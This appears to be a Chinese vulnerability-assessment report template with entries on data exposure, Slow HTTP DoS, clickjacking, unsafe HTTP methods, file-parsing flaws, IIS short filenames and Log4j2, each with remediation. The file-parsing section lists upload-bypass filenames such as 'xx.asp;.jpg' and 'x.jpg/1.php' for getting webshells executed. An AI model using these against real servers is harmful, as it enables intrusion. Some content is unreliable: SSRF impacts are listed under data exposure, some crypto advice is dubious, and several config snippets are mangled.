4.用户修改手机号时需要先对原手机号进行验证。

测试过程

复测过程

复测结果

未修复

漏洞名称

敏感信息泄露漏洞

漏洞地址

漏洞等级

中危

漏洞描述

敏感信息泄露漏洞是指攻击者可以通过某种方式获取网站或应用程序中的敏感信息，例如用户密码、财务数据等。这种漏洞通常发生在程序没有对敏感信息进行充分的加密和保护的情况下，攻击者可以利用这一点来获取敏感信息。敏感信息泄露漏洞可能会导致严重的安全风险，因此应该尽量避免这种漏洞的发生。开发人员应该在编写代码时注意这一问题，并确保对敏感信息进行充分的加密和保护。

敏感数据包括但不限于：口令、密钥、证书、会话标识、License、隐私数据(如短消息的内容)、授权凭据、个人数据(如姓名、住址、电话等)等。

在程序文件、配置文件、日志文件、备份文件及数据库中都有可能包含敏感数据。主要分为由版本管理软件导致的泄露, 文件包含导致的泄露和配置错误导致的泄露。

漏洞成因

1.未能从公共内容中删除内部内容。例如，在生产环境中，用户有时可以看到开发人员在加价中的评论。

2.网站及相关技术配置不安全。例如，如果无法禁用调试和诊断功能，有时可能会为攻击者提供有用的工具，帮助他们获取敏感信息。默认配置也会使网站变得脆弱，例如，通过显示过于冗长的错误消息。

3.应用程序的设计和行为缺陷。例如，如果网站在出现不同错误状态时返回不同的响应，这也可以允许攻击者列举敏感数据，例如有效的用户凭据。

4.出于调试目的，许多网站生成自定义错误消息和日志，其中包含有关应用程序行为的大量信息。虽然此信息在开发过程中是有用的，但如果在生产环境中泄露，它对攻击者也非常有用。调试消息有时可能包含用于开发的重要信息，包括：

（1） 可以通过用户输入操作的关键会话变量的值

（2） 后端组件的主机名和凭据

（3） 服务器上的文件和目录名称

（4） 用于加密通过客户端传输的数据的密钥调试信息有时可能记录在单独的文件中。如果攻击者能够访问此文件，它可以作为了解应用程序运行时状态的有用参考。

漏洞危害

1.扫描内网开放服务

2.向内部任意主机的任意端口发送payload来攻击内网服务

3.DOS攻击（请求大文件，始终保持连接Keep-Alive Always）

4.攻击内网的web应用，例如直接SQL注入、XSS攻击等

5.利用file、gopher、dict协议读取本地文件、执行命令等

修复方案

1.后端控制严谨，用*号来隐藏敏感信息展现。

2.密码策略要足够复杂，开启二步验证。

3.服务配置严谨，对测试和生产资源做好访问控制。

4.对员工培训相关安全意识。

具体修复手段：

1.确保参与制作网站的每个人都充分了解哪些信息被认为是敏感的。有时看似无害的信息对攻击者比人们意识到的要有用得多。突出这些危险有助于确保你的组织更安全地处理敏感信息。

2.尽可能多地使用通用错误消息。

3.仔细检查生产环境中是否禁用任何调试或诊断功能

4.确保你充分了解你实施的任何第三方技术的配置设置和安全影响。花时间调查和禁用任何你实际上不需要的功能和设置。

此外：

1.禁止在代码中存储敏感数据：禁止在代码中存储如数据库连接字符串、口令和密钥之类的敏感数据，这样容易导致泄密。用于加密密钥的密钥可以硬编码在代码中。

2.禁止密钥或帐号的口令以明文形式存储在数据库或者文件中：密钥或帐号的口令必须经过加密存储。例外情况，如果Web容器的配置文件中只能以明文方式配置连接数据库的用户名和口令，那么就不用强制遵循该规则，将该配置文件的属性改为只有属主可读写。

3.禁止在cookie中以明文形式存储敏感数据：cookie信息容易被窃取，尽量不要在cookie中存储敏感数据；如果条件限制必须使用cookie存储敏感信息时，必须先对敏感信息加密再存储到cookie。

4.禁止在隐藏域中存放明文形式的敏感数据。

5.禁止用自己开发的加密算法，必须使用公开、安全的标准加密算法。

6.禁止在日志中记录明文的敏感数据：禁止在日志中记录明文的敏感数据(如口令、会话标识jsessionid等)，防止敏感信息泄漏。

7.禁止带有敏感数据的Web页面缓存：带有敏感数据的Web页面都应该禁止缓存，以防止敏感信息泄漏或通过代理服务器上网的用户数据互窜问题。

8.应根据业务特点定义出系统存储的敏感信息。

9.敏感信息在存储、传输、显示时应进行安全处理，可采用的处理方式为加密或脱敏。

10.敏感信息不应使用GET请求方法提交到服务器。

11.用户密码为最高级别的敏感信息，在存储、传输、显示时都必须加密。

12.需要选择可靠的加密算法，优先选择不对称加密算法，不得使用BASE64等编码方式进行“加密” 。

13.对于一些系统默认报错页面应重新进行设计自定义报错页面，以免暴露系统敏感信息。

测试过程

复测过程

复测结果

未修复

漏洞名称

Slow Http DoS慢速拒绝服务漏洞

漏洞地址

漏洞等级

中危

漏洞描述

Slow Http DoS慢速拒绝服务漏洞是指攻击者可以通过构造特殊的请求来使网站或应用程序的响应时间变慢，甚至导致网站或应用程序无法正常响应。这种漏洞通常发生在程序没有对请求的合法性进行充分的检查和限制的情况下，攻击者可以利用这一点来构造特殊的请求，导致网站或应用程序无法正常响应。Slow Http DoS慢速拒绝服务漏洞可能会导致网站或应用程序无法正常工作，因此应该尽量避免这种漏洞的发生。开发人员应该在编写代码时注意这一问题，并确保对请求的合法性进行充分的检查和限制。

Slow HTTP DOS是一个应用层拒绝服务攻击，主要针对协议为HTTP，攻击的成本很低，并且能够消耗服务端资源，占用客户端连接数，导致正常用户无法连接服务器。

HTTP慢速攻击是利用HTTP合法机制，以极低的速度往服务器发送HTTP请求，尽量长时间保持连接，不释放，若是达到了Web Server对于并发连接数的上限，同时恶意占用的连接没有被释放，那么服务端将无法接受新的请求，导致拒绝服务。

漏洞成因

HTTP协议采用“请求-应答”模式，当使用普通模式，即非KeepAlive模式时，每个请求/应答客户和服务器都要新建一个连接，完成之后立即断开连接（HTTP协议为无连接的协议）；当使用Keep-Alive模式（又称持久连接、连接重用）时，Keep-Alive功能使客户端到服 务器端的连接持续有效，当出现对服务器的后继请求时，Keep-Alive功能避免了建立或者重新建立连接。

攻击者以客户端发送一个报文，不以CRLF结尾，而是10s发送一行报文，报文需要80s才能发送完毕，这80s内，服务器需要一直等待客户端的CRLF，然后才能解析这个报文。

如果客户端使用更多的程序发送这样的报文，那么服务端会给客户端留出更多的资源来处理、等待这迟迟不传完的报文。假设服务端的客户端最大连接数是100个，使用测试程序先连接上100次服务端，并且报文中启用Keep-Alive，那么其他正常用户101、102就无法正常访问网站了。

攻击者每次只发一行，每次发送之间的间隔时间很长，这迟迟未发送结束的HTTP包会占用服务端的资源，当达到服务端处理请求的上限时，这时候再用户对网站正常请求，服务端也处理不了了，导致了拒绝服务。

漏洞危害

当达到服务端处理请求的上限时，这时候再用户对网站正常请求，服务端也处理不了了。

修复方案

通用方案

1.设置合适的 timeout 时间（Apache 已默认启用了 reqtimeout 模块），规定了 Header 发送的时间以及频率和 Body 发送的时间以及频率。

2.增大 MaxClients(MaxRequestWorkers)：增加最大的连接数。根据官方文档，两个参数是一回事，版本不同，MaxRequestWorkers was called MaxClients before version 2.3.13. The old name is still supported。

3.默认安装的 Apache 存在 Slow Attack 的威胁，原因就是虽然设置的 timeoute，但是最大连接数不够，如果攻击的请求频率足够大，仍然会占满 Apache 的所有连接。

WebSphere

1.限制 HTTP 数据的大小 在WebSphere Application Server 中进行如下设置：

任何单个 HTTP 头的默认最大大小为 32768 字节。可以将它设置为不同的值。

HTTP 头的默认最大数量为 50。可以将它设置为不同的限制值。

另一种常见的 DOS 攻击是发送一个请求，这个请求会导致一个长期运行的 GET 请求。WebSphere Application Server Plug-in 中的 ServerIOTimeoutRetry 属性可限制任何请求的重试数量。这可以降低这种长期运行的请求的影响。

设置限制任何请求正文的最大大小。

2.设置keepalive参数

打开ibm http server安装目录，打开文件夹conf，打开文件httpd.conf,查找KeepAlive值，改ON为OFF,其默认为ON。

这个值说明是否保持客户端与HTTP SERVER的连接，如果设置为ON，则请求数到达MaxKeepAliveRequests设定值时请求将排队，导致响应变慢。

Weblogic

1.在配置管理界面中的协议->一般信息下设置 完成消息超时时间小于400。

2.在配置管理界面中的协议->HTTP下设置 POST 超时、持续时间、最大 POST 大小为安全值范围。

Nginx

1.通过调整$request_method，配置服务器接受http包的操作限制；

2.在保证业务不受影响的前提下，调整client_max_body_size, client_body_buffer_size, client_header_buffer_size,large_client_header_buffersclient_body_timeout, client_header_timeout的值，必要时可以适当的增加；

3.对于会话或者相同的ip地址，可以使用HttpLimitReqModule and HttpLimitZoneModule参数去限制请求量或者并发连接数；

4.根据CPU和负载的大小，来配置worker_processes 和 worker_connections的值，公式是：max_clients = worker_processes * worker_connections。

Apache

1.mod_reqtimeout用于控制每个连接上请求发送的速率。

配置例如：

#请求头部分，设置超时时间初始为10秒，并在收到客户端发送的数据后，每接收到500字节数据就将超时时间延长1秒，但最长不超过40秒。可以防护slowloris型的慢速攻击。RequestReadTimeout header=10-40,minrate=500 #请求正文部分，设置超时时间初始为10秒，并在收到客户端发送的数据后，每接收到500字节数据就将超时时间延长1秒，但最长不超过40秒。可以防护slow message body型的慢速攻击。RequestReadTimeout body=10-40,minrate=500 需注意，对于HTTPS站点，需要把初始超时时间上调，比如调整到20秒。

2.mod_qos用于控制并发连接数。

配置例如：

当服务器并发连接数超过600时，关闭keepalive

QS_SrvMaxConnClose 600

限制每个源IP最大并发连接数为50

QS_SrvMaxConnPerIP 50 这两个数值可以根据服务器的性能调整。

IHS

请您先安装最新补丁包，然后启用·mod_reqtimeout·模块，在配置文件中加入：

LoadModule reqtimeout_module modules/mod_reqtimeout.so

为mod_reqtimeout模块添加配置：

    <ifmodule </ifmodulemod_reqtimeout.c>

    RequestReadTimeout header=10-40,MinRate=500 body=10-40,MinRate=500

对于HTTPS站点，建议header=20-40,MinRate=500。

参见：

http://www-01.ibm.com/support/docview.wss?uid=swg21652165

F5

F5负载均衡设备有相应的防护模块，如无购买可参考附件中的详细配置过程。

关于F5的慢速攻击防护配置，请参考以下链接：

https://support.f5.com/kb/en-us/solutions/public/10000/200/sol10260.html

https://devcentral.f5.com/articles/mitigating-slow-http-post-ddos-attacks-with-irules-ndash-follow-up

Tomcat

1.设置Tomcat /server.xml文件 connectiontimeout 值，默认为20000ms，修改为2000ms(Tomcat 自身安全漏洞)。

2.设置AJAX的全局timeout时间（默认为30000ms）$.ajaxSetup({timeout:8000})。

测试过程

复测过程

复测结果

未修复

漏洞名称

点击劫持（X-Frame-Options头丢失）漏洞

漏洞地址

漏洞等级

低危

漏洞描述

点击劫持漏洞是指攻击者可以通过某种方式控制用户的点击行为，让用户点击恶意链接或按钮，从而达到欺骗用户的目的。这种漏洞通常发生在程序没有对点击行为进行充分的验证和控制的情况下，攻击者可以利用这一点来控制用户的点击行为。点击劫持漏洞可能会导致用户被骗，因此应该尽量避免这种漏洞的发生。开发人员应该在编写代码时注意这一问题，并确保对用户的点击行为进行充分的验证和控制。

点击劫持（ClickJacking）是一种视觉上的欺骗手段。攻击者使用一个透明的、不可见的iframe，覆盖在一个网页上，然后诱使用户在该网页上进行操作，此时用户将不知情的情况下点击透明的iframe页面，通过调整iframe页面的位置，可以诱使用户恰好点击在iframe页面的一些功能性按钮上。

漏洞成因

攻击者使用一个透明的、不可见的iframe，覆盖在一个网页上，然后诱使用户在该网页上进行操作，此时用户将不知情的情况下点击透明的iframe页面，通过调整iframe页面的位置，可以诱使用户恰好点击在iframe页面的一些功能性按钮上。

当X-Frame-Options HTTP 响应头丢失的时候，攻击者可以伪造一个页面，该页面使用前端技术精心构造一些诱惑用户点击的按钮、图片，该元素下方就是一个iframe标签，当用户点击后上层的元素后，就相当于点击了iframe标签引入的网页页面。。

漏洞危害

盗取用户资金、获得用户的敏感信息或者与XSS或CSRF等其他攻击手段配合。

修复方案

通用方案

配置WebServer，更改配置文件，添加自定义响应头。

X-Frame-Options HTTP 响应头， 可以指示浏览器是否应该加载一个 iframe 中的页面。网站可以通过设置 X-Frame-Options 阻止站点内的页面被其他页面嵌入从而防止点击劫持。

使用一个HTTP头——X-Frame-Options。X-Frame-Options可以说是为了解决ClickJacking而生的，它有三个可选的值：

DENY：浏览器会拒绝当前页面加载任何frame页面

SAMEORIGIN：frame页面的地址只能为同源域名下的页面

若网站内有使用iframe标签链接同源资源的，需要设置为SAMEORIGIN。

Apache

配置 Apache 在所有页面上发送 X-Frame-Options 响应头，需要把下面这行添加到 site 的配置中:

    Header always append X-Frame-Options SAMEORIGIN

Nginx

配置 nginx 发送 X-Frame-Options 响应头，把下面这行添加到 http, server 或者 location 的配置中:

    add_header X-Frame-Options SAMEORIGIN;

IIS

配置 IIS 发送 X-Frame-Options 响应头，添加下面的配置到 Web.config 文件中:

      ...

          <add </addname="X-Frame-Options" value="SAMEORIGIN" />

      ...

Tomcat

在conf/web.xml中添加如下配置：

C:\Program Files\Apache Software Foundation\Tomcat 7.0\conf\web.xml

       httpHeaderSecurity        org.apache.catalina.filters.HttpHeaderSecurityFilter

            antiClickJackingOption

            SAMEORIGIN

        true

        httpHeaderSecurity

        /*

        REQUEST

        FORWARD

测试过程

复测过程

复测结果

未修复

漏洞名称

服务器启用了不安全的Http方法漏洞

漏洞地址

漏洞等级

低危

漏洞描述

服务器启用了不安全的Http方法漏洞是指服务器启用了不安全的Http方法，这样攻击者就可以通过这些不安全的Http方法来访问服务器上的敏感信息，甚至可以篡改或删除服务器上的数据。通常情况下，服务器应该只启用安全的Http方法，如GET和POST，并禁用不安全的Http方法，如PUT和DELETE。如果服务器启用了不安全的Http方法，那么攻击者就可以利用这一漏洞来访问服务器上的敏感信息，甚至可以篡改或删除服务器上的数据。开发人员应该在编写代码时注意这一问题，并确保只启用安全的Http方法，禁用不安全的Http方法。

检测到目标 Web 服务器配置成允许下列其中一个（或多个）HTTP 方法：TRACE，PUT，DELETE，COPY，MOVE，SEARCH，PROPFIND，PROPPATCH，MKCOL，LOCK，UNLOCK。

漏洞成因

Web 服务器或应用程序服务器是以不安全的方式配置的。

根据HTTP标准，HTTP请求可以使用多种方法，其如下所示：

HTTP1.0定义了三种请求方法：GET、POST和HEAD；HTTP1.1新增了五种请求方法：OPTIONS、PUT、DELETE、TRACE和CONNECT。

WebDAV （Web-based Distributed Authoring and Versioning） 一种基于 HTTP 1.1协议的通信协议。它扩展了HTTP 1.1，在GET、POST、HEAD等几个HTTP标准方法以外添加了一些新的方法，使应用程序可对Web Server直接读写，并支持写文件锁定(Locking)及解锁(Unlock)，还可以支持文件的版本控制：

OPTIONS、HEAD、TRACE：主要由应用程序来发现和跟踪服务器支持和网络行为；

GET：检索文档；

PUT和POST：将文档提交到服务器；

DELETE：销毁资源或集合；

MKCOL：创建集合

PROPFIND和PROPPATCH：针对资源和集合检索和设置属性；

COPY和MOVE：管理命名空间上下文中的集合和资源；

LOCK和UNLOCK：改写保护

上述不安全的HTTP方法可以对Web服务器进行上传、修改、删除等操作，对服务造成威胁。

众所周知，GET、POST是最为常见方法，而且大部分主流网站只支持这两种方法，因为它们已能满足功能需求。其中，GET方法主要用来获取服务器上的资源，而POST方法是用来向服务器特定URL的资源提交数据。而其它方法出于安全考虑被禁用，所以在实际应用中，九成以上的服务器都不会响应其它方法，并抛出404或405错误提示。以下列举几个HTTP方法的不安全性：

1. OPTIONS方法，将会造成服务器信息暴露，如中间件版本、支持的HTTP方法等。

2. PUT方法，由于PUT方法自身不带验证机制，利用PUT方法即可快捷简单地入侵服务器，上传Webshell或其他恶意文件，从而获取敏感数据或服务器权限。

3. DELETE方法，利用DELETE方法可以删除服务器上特定的资源文件，造成恶意攻击。

漏洞危害

可能会在Web 服务器上上载、修改或删除Web 页面、脚本和文件。

修复方案

如果服务器不需要支持WebDAV，请务必禁用它，或禁止不必要的HTTP 方法。

最简单的方式就是修改WEB应用的web.xml部署文件。在里面插入下面几行代码就搞定了，把需要屏蔽的方法加在里面。如果应用包比较多也没必要一个个改，直接修改Tomcat的web.xml就可以了，这样在Tomcat中运行的实例都会有效。

       /*

          PUT

          DELETE

          OPTIONS

          TRACE

          All Role

          NONE

用于限制对资源的访问；

用于限制那些角色可以访问资源，这里设置为空就是禁止所有角色用户访问；

指定需要验证的资源

指定那些方法需要验证

重启服务再验证就不会存在这个问题了。

测试过程

使用OPTIONS方法列出服务器使用的HTTP方法。注意，不同目录中激活的方法可能各不相同。

许多时候，被告知一些方法有效，但实际上它们并不能使用。有时，即使OPTIONS请求返回的响应中没有列出某个方法，但该方法仍然可用。

手动测试每一个方法，确认其是否可用。

复测过程

复测结果

未修复

漏洞名称

中间件版本信息泄露漏洞

漏洞地址

漏洞等级

中危（低危）

漏洞描述

中间件版本信息泄露漏洞是指攻击者可以通过某种方式获取网站或应用程序中的中间件版本信息，从而了解网站或应用程序的技术细节。这种漏洞通常发生在程序没有对中间件版本信息进行充分的隐藏和保护的情况下，攻击者可以利用这一点来获取中间件版本信息。中间件版本信息泄露漏洞可能会导致网站或应用程序被攻击，因此应该尽量避免这种漏洞的发生。开发人员应该在编写代码时注意这一问题，并确保对中间件版本信息进行充分的隐藏和保护。

通常在HTTP报文的响应头中存在的标志、版本号等信息均属于中间件的版本信息泄露漏洞。

Web 服务器未能正确处理异常请求导致 Web 服务器版本信息泄露，攻击者收集到服务器信息后可进行进一步针对性攻击。

漏洞成因

由于各大Web服务中间件为了打造品牌效应而在HTTP响应头中添加了标志信息、版本号。

通常在HTTP报文的响应头中存在的标志、版本号等信息均属于中间件的版本信息泄露漏洞。

Web 服务器未能正确处理异常请求导致 Web 服务器版本信息泄露，攻击者收集到服务器信息后可进行进一步针对性攻击。

漏洞危害

攻击者收集到服务器信息后可进行进一步针对性攻击。

修复方案

Apache

将以下配置加入conf/httpd.conf：

    ServerTokens Prod

ServerSignature Off

PHP

修改php.ini，将expose_php On改为：expose_php Off

IIS

找到HTTP响应头设置响应报文内容，可以将ASP.NET随意更改，甚至删除。

Nginx

Nginx 中间件的修复方案：

在conf/nginx.conf加入一行：

server_tokens off;

Tomcat

到apache-tomcat安装目录下的lib子文件夹，找到catalina.jar这包，并进行解压

修改:lib\catalina.zip\org\apache\catalina\util\ServerInfo.properties

    server.info=Apache Tomcat

    server.number=0.0.0.0

    server.built=Oct 18 2021 00:00:00 UTC

将修改后的文件压缩回catalina.jar包中

    jar uvf catalina.jar org/apache/catalina/util/ServerInfo.properties

重启Tomcat服务，访问不存在的页面进行404报错验证，看是否还显示中间件版本号。

注意：

以上操作仅去除Tomcat服务报错信息中的版本信息，如果是正式环境，建议使用自定义错误页面替换默认页面的做法。

进入Tomcat的conf目录，修改web.xml，在标签前添加如下内容：

      404

      /error_404.html

进入Tomcat的webapps/ROOT目录，新增error_404.html页面，使用自定义页面已达到隐藏中间件版本信息的目的。

测试过程

复测过程

复测结果

未修复

漏洞名称

文件解析漏洞

漏洞地址

漏洞等级

中危

漏洞描述

文件解析漏洞是指攻击者可以通过提交恶意文件来利用程序对文件的解析功能，执行恶意代码。这种漏洞通常发生在程序没有对文件内容进行充分的检查和过滤的情况下，攻击者可以利用这一点来提交恶意文件，从而触发漏洞。文件解析漏洞可能会导致程序崩溃或执行恶意代码，因此应该尽量避免这种漏洞的发生。开发人员应该在编写代码时注意这一问题，确保对文件内容进行充分的检查和过滤，避免恶意文件造成的危害。

文件上传漏洞通常与Web容器的解析漏洞配合利用，常见Web容器有IIS、Nginx、Apache、Tomcat等。

漏洞成因

IIS5.x-6.x

IIS 6中存在两个解析漏洞：“*.asp”文件夹下的所有文件会被当做脚本文件进行解析，文件名为“yu.asp；a.jpg”的文件会被解析为ASP文件，上传“x.asp，a.jpg”文件获取到的后缀为jpg，能够通过白名单的校验。

使用iis5.x-6.x版本的服务器，大多为windows server 2003，网站比较古老，开发语言一般为asp；该解析漏洞也只能解析asp文件，而不能解析aspx文件。

1.当建立*.asp、*.asa格式的文件夹时，其目录下任意文件都会被iis当作asp文件来解析。

2.当文件为*.asp;1.jpg时，IIS6.0同样会以ASP脚本来执行。

目录解析(6.0)

形式：www.xxx.com/xx.asp/xx.jpg

原理: 服务器默认会把.asp，.cer，.asa，.cdx目录下的文件都解析成asp文件。

文件解析

形式：www.xxx.com/xx.asp;.jpg

原理：服务器默认不解析;号后面的内容，因此xx.asp;.jpg便被解析成asp文件了。

解析文件类型

IIS6.0 默认的可执行文件除了asp还包含这三种 :

    /test.asa

    /test.cer

    /test.cdx

Apache

Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如 test.php.owf.rar “.owf”和“.rar” 这两种后缀是apache不可识别解析,apache就会把xxxx.php.owf.rar解析成php。

在Apache 1.x和Apache 2.x中存在解析漏洞。

Apache在解析文件时有一个原则，当碰到不认识的扩展名时，将会从后向前解析，直到碰到认识的扩展名为止，如果都不认识，则会暴露其源代码。

如：1.php.rar.sa.xs就会被解析为php，可以据此来绕过文件名限制

可以在Apache安装目录下的文件“/conf/mime.types”中配置Apache可以识别的文件名。

Nginx

Nginx的解析漏洞为配置不当造成的问题，在Nginx未配置try_files且FPM未设置security.limit_extensions的场景下，可能出现解析漏洞。

先上传x.jpg文件，再访问x.jpg/1.php，location为.php结尾，会交给FPM处理，此时$fastcgi_script_name的值为x.jpg/1.php；在PHP开启cgi.fix_pathinfo配置时，x.jpg/1.php文件不存在，开始fallback去掉最右边的“/”及后续内容，继续判断x.jpg是否存在；这时若x.jpg存在，则会用PHP处理该文件，如果FPM没有配置security.limit_extensions限制执行文件后缀必须为php，则会产生解析漏洞。

Nginx默认是以CGI的方式支持PHP解析的，普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。当访问www.xx.com/phpinfo.jpg/1.php这个URL时，$fastcgi_script_name会被设置为“phpinfo.jpg/1.php”，然后构造成SCRIPT_FILENAME传递给PHP CGI，但是PHP为什么会接受这样的参数，并将phpinfo.jpg作为PHP文件解析呢?这就要说到fix_pathinfo这个选项了。如果开启了这个选项，那么就会触发在PHP中的如下逻辑：

PHP会认为SCRIPT_FILENAME是phpinfo.jpg，而1.php是PATH_INFO，所以就会将phpinfo.jpg作为PHP文件来解析了。

对低版本的Nginx可以在任意文件名后添加%00.php进行解析攻击

如：上传图片xx.jpg，然后通过改名为xx.jpg%00.php就会解析为php。

IIS7.5

IIS7.5的漏洞与nginx的类似，都是由于php配置文件中，开启了cgi.fix_pathinfo，而这并不是nginx或者iis7.5本身的漏洞。

当php的配置文件中的选项cgi.fix_pathinfo = 1开启时，当访问http://www.xxx.com/x.txt/x.php

时，若x.php不存在，则PHP会递归向前解析，将x.txt当作php脚本来解析。

IIS中：任意文件名/任意文件名.php就会被解析为php

Nginx中：任意文件名/任意文件名.php就会被解析为php。

漏洞危害

文件解析漏洞配合文件上传漏洞、文件包含漏洞利用，攻击者可以通过上传WebShell控制服务器。

修复方案

IIS 5.x-6.x

1.目前尚无微软官方的补丁，可以通过自己编写正则，阻止上传xx.asp;.jpg类型的文件名

2.做好权限设置，限制用户创建文件夹

Apache

1.apache配置文件，禁止.php.这样的文件执行，配置文件里面加入：

    <files </files~ ".(php.|php3.)">

       Order Allow,Deny

       Deny from all

2.用伪静态能解决这个问题，重写类似.php.*这类文件，打开apache的httpd.conf找到LoadModule rewrite_module modules/mod_rewrite.so

  把#号去掉，重启apache,在网站根目录下建立.htaccess文件,代码如下:

    <ifmodule </ifmodulemod_rewrite.c>

       RewriteEngine On

       RewriteRule .(php.|php3.)/index.php

       RewriteRule .(pHp.|pHp3.)/index.php

       RewriteRule .(phP.|phP3.)/index.php

       RewriteRule .(Php.|Php3.)/index.php

       RewriteRule .(PHp.|PHp3.)/index.php

       RewriteRule .(PhP.|PhP3.)/index.php

       RewriteRule .(pHP.|pHP3.)/index.php

       RewriteRule .(PHP.|PHP3.)/index.php

Nginx

1.修改php.ini文件，将cgi.fix_pathinfo的值设置为0，然后重启php-cgi。此修改会影响到使用PATH_INFO伪静态的应用。

2.在Nginx配置文件中添加以下代码：

    if ( $fastcgi_script_name ~\..*\/.*php ){

    return 403;

    }

这行代码的意思是当匹配到类似test.jpg/a.php的URL时，将返回403错误代码。

或

    location ~* .*\.php($|/)

    {

       if ($request_filename ~* (.*)\.php){

          set $php_url $1;

       }

       if (!-e $php_url.php){

                return 403;

       }

       fastcgi_pass  127.0.0.1:9000;

       fastcgi_index index.php;

       include fcgi.conf;

    }

3.对于存储图片的location{...}，或虚拟主机server{...}，只允许纯静态访问，不配置PHP访问。

IIS 7&7.5

1.配置cgi.pathinfo(php.ini中)为0并重启php-cgi程序。

2.在“Handler Mapping”勾选php-cgi.exe程序的“Invoke handler only if request is mapped to”。

3.重新配置iis，使用ISAPI的方式(注意：PHP5.3.1已经不支持ISAPI方式)。

测试过程

复测过程

复测结果

未修复

漏洞名称

IIS短文件名漏洞

漏洞地址

漏洞等级

中危

漏洞描述

IIS短文件名漏洞是指攻击者可以通过猜测短文件名来访问服务器上的敏感文件。IIS（Internet Information Services）是微软公司开发的Web服务器，它支持使用短文件名访问文件。短文件名是指文件的8.3格式，它只包含文件名的前8个字符和后3个字符，例如“example.txt”的短文件名可能是“exampl~1.txt”。IIS短文件名漏洞就是指攻击者可以通过猜测短文件名来访问服务器上的敏感文件，这可能会导致敏感信息泄露或其他安全问题。为了避免IIS短文件名漏洞，系统管理员应该在配置IIS时禁用短文件名支持，或者使用防火墙等安全措施来阻止攻击者猜测短文件名。

IIS短文件名是一个Windows系统为了兼容16位MS-DOS程序，Windows为文件名较长的文件（和文件夹）生成了对应的windows 8.3 短文件名。当这种特性被IIS中间件继承后，我们就可以使用短文件名进行目录猜解。

Microsoft IIS 在实现上存在文件枚举漏洞，攻击者可利用“~”字符猜解或遍历服务器中的文件名。

漏洞成因

Microsoft IIS 在实现上存在文件枚举漏洞，攻击者可利用“~”字符猜解或遍历服务器中的文件名。

漏洞危害

攻击者可利用“~”字符猜解或遍历服务器中的文件名，使用短文件名进行目录猜解。

修复方案

执行命令（管理员权限）：

    reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem\ /

    v "NtfsDisable8dot3NameCreation" /t REG_DWORD /d 1 /f

Windows Server 2008 R2

查询是否开启短文件名功能：fsutil 8dot3name query

关闭该功能：fsutil 8dot3name set 1

Windows Server 2003

关闭该功能：fsutil behavior set disable8dot3 1。

测试过程

复测过程

复测结果

未修复

漏洞名称

应用程序未容错漏洞

漏洞地址

漏洞等级

中危

漏洞描述

应用程序未容错漏洞是指应用程序中存在的缺陷或疏漏，导致程序在遇到异常情况时无法正常处理，从而导致程序崩溃或出现安全漏洞。为了避免这种情况的发生，程序开发人员应该对代码进行严格的审查和测试，尽可能地修补潜在的漏洞。

Web 服务器未能正确处理异常请求导致 Web 服务器版本信息泄露，攻击者收集到服务器信息后可进行进一步针对性攻击。

检测到服务器返回的页面信息中包含数据库错误信息。通过数据库错误信息可以得知后台数据库类型，甚至数据库结构。为进一步 SQL 注入攻击提供有利信息。

漏洞成因

应用程序未屏蔽执行过程中的错误信息，直接抛出了异常。

一般情况下是Web应用程序接收用户输入的信息后，未捕获异常，如：数据类型错误、空值、非法字符造成程序不能继续执行，导致抛出错误信息。

漏洞危害

攻击者收集到服务器信息后可进行进一步针对性攻击，检测到服务器返回的页面信息中包含数据库错误信息，通过数据库错误信息可以得知后台数据库类型，甚至数据库结构，为进一步 SQL 注入攻击提供有利信息。

修复方案

PHP

在页面中添加：

error_reporting(0);

或更改php.ini

display_errors的默认值为On，代表显示错误提示，如果设置为Off，就会关闭所有的错误提示。

Tomcat

修改 web.xml，加入如下代码：

       500 

       /error.jsp 

IIS

“网站属性”->“主目录”->“应用程序配置”->“调试”，选择“向客户端发送下列文本信息”

JSP

1.检查程序中的所有变量，以了解所有预期的参数和值是否存在。当参数缺失导致程序错误时，程序应转向统一的错误页面，不应该抛出未经处理的异常。

2.应用程序应验证其输入是否由有效字符组成（解码后）。例如，应拒绝包含空字节（编码为 %00）、单引号、引号等的输入值。

3.确保值符合预期范围和类型。如果应用程序预期特定参数具有特定集合中的值，那么该应用程序应确保其接收的值确实属于该集合。例如，如果应用程序预期值在 10-99 范围内，那么就该确保该值确实是数字，且在 10-99 范围内。

4.验证数据是否属于提供给客户端的集合。

5.请勿在生产环境中输出调试错误消息和异常。

测试过程

复测过程

复测结果

未修复

漏洞名称

HTTP.sys 远程代码执行漏洞

漏洞地址

漏洞等级

高危

漏洞描述

HTTP.sys是Windows操作系统中用于处理HTTP请求的内核级驱动程序。远程代码执行漏洞是指，攻击者可以通过网络连接进入目标系统并执行恶意代码，对目标系统造成严重损害。如果HTTP.sys存在这种漏洞，那么攻击者就可以利用该漏洞对目标系统进行攻击。为了防止这种情况的发生，系统管理员应该定期检查和更新系统中的驱动程序，以修补可能存在的漏洞。

HTTP 协议堆栈 (HTTP.sys)中存在一个远程代码执行漏洞，当 HTTP.sys 错误地解析特制 HTTP 请求时，会导致该漏洞。成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。

对于 Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012、Windows 8.1 和Windows Server 2012 R2 的所有受支持版本，此安全更新的等级为“高危”。

漏洞成因

HTTP 协议堆栈 (HTTP.sys)中存在一个远程代码执行漏洞，当 HTTP.sys 错误地解析特制 HTTP 请求时，会导致该漏洞。成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。

漏洞危害

攻击者可以通过向受影响的系统发送特制 HTTP 请求，在系统帐户的上下文中执行任意代码。

修复方案

微软官方已提供此问题的安全更新。建议尽快应用此更新。

测试过程

复测过程

复测结果

未修复

漏洞名称

Apache Log4j2 远程代码执行漏洞

漏洞地址

漏洞等级

超危

漏洞描述

Apache Log4j2是一款开源的日志管理组件，常用于在Java应用程序中记录日志信息。如果Log4j2存在远程代码执行漏洞，攻击者可能利用该漏洞执行远程代码，即攻击者可以通过网络连接进入目标系统并执行恶意代码，对目标系统造成严重损害。为了防止这种情况的发生，系统管理员应该定期检查和更新系统中的组件，以修补可能存在的漏洞。

Apache Log4j 2 是一个基于Java的日志记录组件。该组件 是 Log4j 的升级版本，它重写了 Log4j 框架，并且引入了大量丰富的特性。开发人员可以控制日志信息输送的目的地为控制台、文件、GUI组件等，通过定义每一条日志信息的级别，能够更加细致地控制日志的生成过程。该日志框架被广泛应用于业务系统开发，用来记录程序输入输出日志信息。

